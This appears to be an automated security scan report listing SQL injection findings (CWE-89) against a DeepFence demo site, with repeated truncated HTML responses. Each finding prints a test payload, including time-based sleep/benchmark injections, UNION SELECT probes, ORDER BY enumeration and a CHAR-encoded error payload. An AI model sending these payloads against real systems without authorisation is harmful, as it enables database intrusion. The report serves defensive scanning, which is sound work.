width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #803
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.io") or sleep(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #804
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #805
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #806
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io /*!10000%201/0%20*/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #807
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 30#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #808Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #809
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 7300=7300 AND ('pKlZ'='pKlZ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #810
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '&&SLEEP(5)&&'1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #811
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 7300=7300 AND ('pKlZ'='pKlY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #812
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #813
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #814
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.io"*"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #815
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1)) or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #816
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #817
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
